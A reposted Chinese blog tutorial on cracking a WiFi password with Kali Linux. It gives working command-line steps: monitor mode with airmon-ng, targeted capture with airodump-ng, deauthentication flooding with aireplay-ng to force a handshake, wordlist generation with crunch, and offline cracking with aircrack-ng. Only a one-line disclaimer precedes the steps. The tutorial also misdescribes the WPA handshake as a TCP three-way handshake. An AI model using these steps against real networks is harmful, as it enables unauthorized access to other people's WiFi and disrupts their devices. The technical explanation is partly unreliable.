教你如何暴力破解wifii密码

使用kalilinux系统进行wifi暴力破解获取密码注意:私自破解他人WiFi属于违法行为,本教程仅供学习与参考。破解工具破解工具:kalilinux系统 ,本教程使用的装在物理机的linux系统(虚拟机使用方法一样)。支持监听模式的无线网卡,本教材使用的是某宝购买的3070L网卡。字典文件(如果你没有字典也没有问题后面会教你如何使用cruncl创建密码文件)。…

大家好,又见面了,我是你们的朋友全栈君。

使用kali linux系统进行wifi暴力破解获取密码

注意:私自破解他人WiFi属于违法行为,本教程仅供学习与参考。

破解工具

  1. 破解工具:kali linux系统 ,本教程使用的装在物理机的linux系统(虚拟机使用方法一样)。
  2. 支持监听模式的无线网卡,本教材使用的是某宝购买的3070L网卡。
  3. 字典文件(如果你没有字典也没有问题后面会教你如何使用cruncl创建密码文件)。

暴力破解就是穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功。能否成功破解wifi密码取决于密码字典本身是否包含了这个密码。破解的时间取决于CPU的运算速度以及wifi密码本身的复杂程度。如果WiFi密码设得足够复杂,即使有一个好的密码字典,破解成功也可能要数小时甚至数天。

破解开始

  1. 使用ifconfig命令查看本机网卡名称。
    在这里插入图片描述

eth0是有线网卡,wlan0(物理机)和wlan1(外接)是无线网卡。

  1. 使用airmon-ng命令检查网卡是否支持监听模式。在这里插入图片描述
    网卡均可以进行监听模式。
  2. 使用airmon-ng start wlan1命令开启网卡监听。在这里插入图片描述
    网卡更具自己选择我这里选择外界网卡wlan1
    使用ifconfig命令查看监听模式是否开启

在这里插入图片描述
无线接口wlan0变成了wlan0mon则说明监听模式开启。

  1. 使用airodump-ng wlan1mon命令扫描附近wifi。在这里插入图片描述
    扫描后得到wifi的一些信息BSSID为MAC地址,PWR为信号强度(越小信号越强)CH为信道。按下ctrl+c进行暂停扫描。

  2. 使用命令 airodump-ng -c 5 -w /root/cap/er8 --bssid C8:3A:35:8B:EA:40 wlan1mon进行对WiFi热点: Tenda_8BEA40 进行抓包。在这里插入图片描述

  3. 在新建一个终端:输入命令 aireplay-ng -0 5 -a C8:3A:35:8B:EA:40 wlan1mon
    在这里插入图片描述

0为用deauth洪水攻击WiFi设备的次数,0为无限,-0
5则攻击5次。攻击原理是:先让设备掉线,设备会再自动连接,并发这个自动连接过程会进行三次握手,会发送tcp包(里面包含加密的密码数据)

此时返回前一个终端,可看到抓到的tcp包
在这里插入图片描述
此时已经抓取到了包,可以打开文件夹进行查看。
7. 使用命令crunch打开字典生成软件
在这里插入图片描述
在输入crunch 10 10 012 xy>>/root/12345.txt (10 10表示制作一个10位数的密码, 012表示密码中包含数字012xy这些元素,/root/12345.txt表示密码文本储存的路径以及名字)。
在这里插入图片描述
8.使用aircrack-ng -w /root/12345.txt /root/cap/er8-01.cap(ircrack-ng -w 字典路径 握手包路径) 进行wifi密码破解
在这里插入图片描述
系统正在进行暴力破解密码。

  1. 密码破解成功
    在这里插入图片描述
    wifi密码为:xxyy0011
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/126840.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • Java中,为什么byte类型的取值范围为-128~127?

    Java中,为什么byte类型的取值范围为-128~127?在学习Java基础语法的时候,初学者的我们可能都会有这么一个疑问为什么byte类型的取值范围为什么是[-128,127]而不是[-127,127]。01111111表示最大的数值:127,因为第一位是符号位,所以11111111应该是最小的数值:-127,不是这样才对?在解释这个问题之前我们需要了解几个概念:机器数、真值、原码、反码、补码机器数:一个数在计算机中的二进制表示形式,叫做这个数的机器

  • serialized objects

    serialized objectsThisstartedagain…athreadfrom*****:WhatdoyouconsiderabestpracticeforserialVersionUID?T______________________________________________From:*******Sent:Thursday,Nov…

  • 优化Linux的内核参数来提高服务器并发处理能力

    优化Linux的内核参数来提高服务器并发处理能力

  • spring boot 过滤器_kotlin从入门到进阶实战

    spring boot 过滤器_kotlin从入门到进阶实战过滤器是处于客户端与服务器资源文件之间的一道过滤网,在访问资源文件之前,通过一系列的过滤器对请求进行修改、判断等,把不符合规则的请求在中途拦截或修改。也可以对响应进行过滤,拦截或修改响应。

  • 五大创意礼品网站_实用礼品

    五大创意礼品网站_实用礼品朋友、父母过生,经常苦于不知道送啥好,送一般的显得没有新意,想送个有创意的吧,又不知道到哪选。为此,小编我特意调研了国内的创意礼品网站,给出前十位的网站,供大家参考。礼意久久送礼网:www.liyi99.com  成立于09年的礼意久久送礼网是目前国内领先的在线礼品销售网站,礼品门类齐全,有自己的呼叫中心,同时也接受过央视的采访。  优点:礼品种类齐全,同时全国免运费;…

    2022年10月24日
  • 内存分配——静态存储区 栈 堆 与static变量

    内存分配——静态存储区 栈 堆 与static变量一、内存基本构成   可编程内存在基本上分为这样的几大部分:静态存储区、堆区和栈区。他们的功能不同,对他们使用方式也就不同。   静态存储区:内存在程序编译的时候就已经分配好,这块内存在程序的整个运行期间都存在。它主要存放静态数据、全局数据和常量。   栈区:在执行函数时,函数内局部变量的存储单元都可以在栈上创建,函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号